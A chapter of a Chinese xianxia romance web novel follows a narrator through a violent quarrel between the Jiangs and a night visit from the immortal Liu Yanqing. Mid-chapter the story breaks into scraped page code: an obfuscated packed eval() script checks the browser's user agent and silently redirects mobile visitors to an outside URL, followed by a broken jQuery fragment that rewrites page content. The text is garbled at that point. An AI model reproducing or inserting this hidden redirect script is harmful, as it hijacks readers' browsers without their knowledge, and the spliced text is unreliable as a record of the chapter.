101. 云容皓白

作品:《仙君总想把我推给情敌

    “江夫人?!”


    我吓得赶紧抽回手,本想习惯性跑到江夫人身边,后知后觉那边才是最危险的地方,立马转了个方向,躲在凉亭的柱子后面。


    “江夫人你听错了!江大人跟我开玩笑讲故事呢!千万别当真!”


    我话还没讲完,江夫人人已经冲向凉亭这边。


    “对不起江夫人!我是无辜的,我——”


    闭眼蹲下后,我听见一声凄厉的惨叫,来自江御白的。


    夫妻大战一触即发。


    江夫人上前一脚踹翻江御白,捞起桌上的茶壶,下一瞬——


    青色的茶壶碎裂,江御白的额头上鲜血顺着脸庞轮廓滑下。


    我吓得倒吸了口冷气,不寒而栗;江御白捂着额头踉跄着后退,撞上梁柱后跌坐地面。


    见手中的茶壶已然销毁,雷厉风行的江夫人又抄起桌上的竹筐里她平日刺绣的针。


    “诶诶诶诶!不可以啊!江夫人,快住手!!!”


    我冲上去抓住她的手腕,试图抢走针。


    她好大的力气!


    “松手啊,针不可以!扎到穴位怎么办!”


    “你走开!”


    江夫人一把推开我,屁股跌坐在地,感觉坐到什么尖锐的东西。


    管不了那么多了!


    好在趁乱我带走了她手里的针。见手中的东西不见,江夫人快速搜寻周围趁手的凶器,可目前除了石桌子和石凳子什么都不剩。


    竹筐已经被我藏起来了。


    但终究是徒劳。


    “老娘打死你个傻逼龟儿子!”


    熟悉的蜀话,好亲切。


    不对不对,亲切个头啊!人都气得失去理智,要出人命了!


    愤怒冲昏了头脑的江夫人不顾一切地朝已经昏倒的江御白挥动手中的拳头。支离破碎的骂声中,是哭声。


    “老娘嫁给你简直瞎了眼,造了孽!打不死你个龟儿子!”


    “住手!你快住手,不要再打了!江夫人!!”


    眼看事情发展到无法用语言劝阻的地步,我找准时机,冲上前打晕了怒火中烧的江夫人。


    终于消停了。


    我这才反应过来,刚刚的注意力全都放在两口子身上,丝毫没意识到自己被推开狼狈地跌坐在地时,屁股坐到了被摔碎的茶盏碎片。


    “…………………………”


    啊啊啊啊啊!!好痛!


    忍着剧痛去前院找人来收拾了残局,待我回到房中已是黄昏。


    “幸好穿了外层、裙罩、底裤……啊,裙子破了。暂且睡一觉养精蓄锐,明天再起来补吧。”


    好累的一天,今夜只能趴着睡了。


    倦怠困意,不一会儿我便沉沉睡去。


    “好在只是皮外伤,没什么大碍。”


    睡梦中,我感到似乎是有人掀开我的衣裳,正在替我检查屁股上的伤。直到冰凉的刺痛感传来,我猛地张开眼睛清醒过来。


    是柳砚清?!


    我别扭地回着头盯着他,他扬起一抹令人安心的笑,揉揉我的脑袋,关心地说道:“乖,待我把药上完。”


    “……”


    虽然不清楚眼前的人怎么笑得出来,我们分明半月前刚争吵完不欢而散。


    我盯着他望了许久,好一会儿没回过神来。看着他一点点在我屁股上涂抹药膏,唇中呼出温凉的气息喷在我裸露的皮肤上惊起一阵轻颤。


    莫非是梦?可梦会有感觉吗?有的吧,否则春梦时怎会有欢愉之感?


    既然是幻觉……我毫不犹豫地将他扑倒在床上。


    疯长的思念助长了我的狂妄。


    双手扼住他的喉咙,我俯下身,与濒临窒息之人交换潮热的吐息,用尽全力剥夺他腹腔中的最后一丝气力。


    分明是春暖花开之际,却有如寒冬般的冰柱扎进心口。


    片刻后,我松开了手,身下之人剧烈地咳嗽起来,大口喘息。


    “仙人应该没怎么体会过这般死亡逼近的感受吧。”


    柳砚清睁开眼,抬眸看我,他的领口敞得开了一些,深邃的眸子里晕染着水汽。


    “你恨我?”


    “我当然恨你。”我的回答直截了当。


    “何不一刀杀了我?”


    我冷笑,“幻境里的人,杀了有何用?”


    没错,这里是我的幻境,眼前的人并非真实的柳砚清,而是我思念成疾变幻出的幻影。


    “何况,杀了你,又能改变什么吗?难道能时光倒流,让一切都回归到从未发生的那一天吗?”我摇了摇头,“我不想回去。因为那个人世间,没有你。”


    三千多年孤寂的生活,直到遇见你才抹上了色彩。


    是如梦境般,不愿醒来。


    “那该怎么办?”


    他绝望的目光望向虚无,指尖却攥紧了我的衣角。


    柳砚清:“你舍不得,我离不开,我们却又无法放下一切共度此生。”


    我伸出手轻拂过他的脖颈,说道:“是啊。怎么办?仙人聪明,想个办法吧。”


    他轻笑一声,“哪儿有聪明可言,简直愚笨到步步走,步步错。”


    我忍不住笑,轻轻地凑在他的喉结处吻了一下,调皮的舌尖在喉间凸起处打了个圈。感受到身下之人因为碰触越来越紧绷的肌肉、蹙起的眉头、唇缝溢出的气息。


    “真想直接把你吃了,解我心头之气。”


    我笃定地看着他,柳砚清的视线却看向我的额头。


    “怎么额头也受伤了?撞到哪儿了?”


    他抬手想要触碰,被我用手挡开。


    “这不重要。”


    可垂眸又看到他眼里的担忧,我沉下气安慰道:“不碍事,脑子乱得厉害,自己在石桌上嗑出来的。”


    柳砚清顿了顿,又在我耳边轻声开口:“累了,歇息吧。”


    可暧昧的情愫在房间里不断升腾弥漫着,哪里还睡得着。我扬起下颌,居高临下地睨着柳砚清。


    “仙人耐力不行啊,现在求饶还来得及。”


    “反正我怎么都是你的,你做什么我都愿意。”


    柳砚清勾出一抹缱绻温柔的笑,将我揽进怀里。


    “下次……再继续吧,如果你还想见我的话。”


    我愣神片刻,不禁抬眸望着他近在咫尺的下颌线问道:“什么意思?这里不是我的梦?你是柳砚清本人??活的???”


    一时之间,我与柳砚清四目相对,谁也没再开口。


    那双会说话的眼睛告诉了我答案。


    是活的,是本人。


    我不禁心里咯噔一下,咽了口气,迟疑地开口:“你怎么知道我受伤的?又是心灵感应吗?”


    “嗯。听到你的呼唤,我便来了。”


    “……我哪儿有呼唤你,乱讲话。”


    修长的手指点了点我的心口,蕴含了仙力的指尖触碰到我时,发出小小的光亮。


    “这里,一整天都在念叨我的名字。处理完其他事,我就立刻赶来了。恰好撞见你受伤,便给你上了药。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056814|179140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他看着我,无比认真地说着、许诺着。


    “且当是场梦吧,忘了今夜发生的一切,睡罢。”


    原来刚才的光亮是消除我记忆的仙术。


    脑袋变得昏昏沉沉,最后的意识里,我看见柳砚清凑近在我眉间落下一吻,之后……


    没有之后了。


    “大人在哪儿?”


    “应该在后院。夫人也在,不许我们靠近,生怕他俩又吵起来……”


    抓了江府路过门外的侍女询问,听罢,我连忙赶去了后院。


    平日喧闹的后院,此时安安静静,岁月静好的样子。江御白喝着手中的茶,江夫人关注在手中的刺绣,完全没有昨日大打出手的气氛。


    江御白的额头包着纱布,脸颊和眼睛淤青的地方清晰可见。


    我悄悄靠近凉亭,两人一同抬头看我,并未意外我的到来。


    “夫人,我有话相同江大人说。”


    此话一出,两位听者顿时各自演变出不同的表情。我下意识先看向江夫人,再看江御白。


    江夫人盯着我,眸光里的寒气更甚。


    这种时候不能心虚!我是为正经事来的,千万别误会!


    我用表情告知江夫人内心的话,单方面肯定她是明白了我的意思。


    不久,江夫人默默起身,留下我和江御白两人在后院。他欣喜地为我陈了杯茶,我只瞄了他一眼便没再看他。


    决不能再做出任何有误解的动作和话语。


    我一口饮尽杯中茶,压下内心的顾虑,开口问道:“江大人是否知道当年我将贺祈源埋在了哪里?”


    江御白是我上一世回忆起贺祈源的关键,所以他一定知道写什么。


    没好气的江御白摇了摇头,端起茶说道:“这我可——”


    我直言打断他:“是一片花海。你一定知道的,对不对?”


    “我不知道!”


    江御白恼怒地站起身,“我与你相识时,你与他已是第二次见面。抛下我不管不顾后,现在又来问我他被你埋在哪儿?你是故意恼我吗!”


    “我不是……”我吞吞吐吐地回道,低垂下头,长叹一声,“我为前世对你做的事道歉,只要是我能做的,我答应你。但前提是,不能伤害江夫人。该报的恩,该还的债,我想在此生结束前,一并还清。”


    江御白蹙眉瘪嘴瞪着我,情绪变得有些古怪。


    “寻死觅活,要死不活,你嘴里能不能说点好听的!”


    他居然气到骂我,只是这话同江夫人说的,几乎一模一样。


    我被他骂得一滞,江御白脸上怒意浮现,劈头盖脸提高些音调对我道:“这世间到底有什么不值得你留念的?!”


    我动动嘴唇,欲言又止:“我……”


    “重来几次都不长脑子,学不聪明!”


    “……”


    别骂了,好不容易长点脑子,待会儿又给骂没了。


    江御白忽地把脸靠近,我避之不及,幸而没有发生什么意外。


    “你是因为不想做妾,所以要走吗?”


    我眉头跳了一下,有些难以启齿,但还是咬了咬唇,硬着头皮说出了口:“抱歉,你说的那件事,我压根没听……”


    “哼。”


    江御白抱着双臂冷哼一声,横了一眼。


    “等着瞧吧,明天,文武双全的江大人,就去擂台证明我的实力!”


    我目瞪口呆望着眼前突然站上石桌,双手叉腰耀武扬威的江御白。


    “啊?擂台?”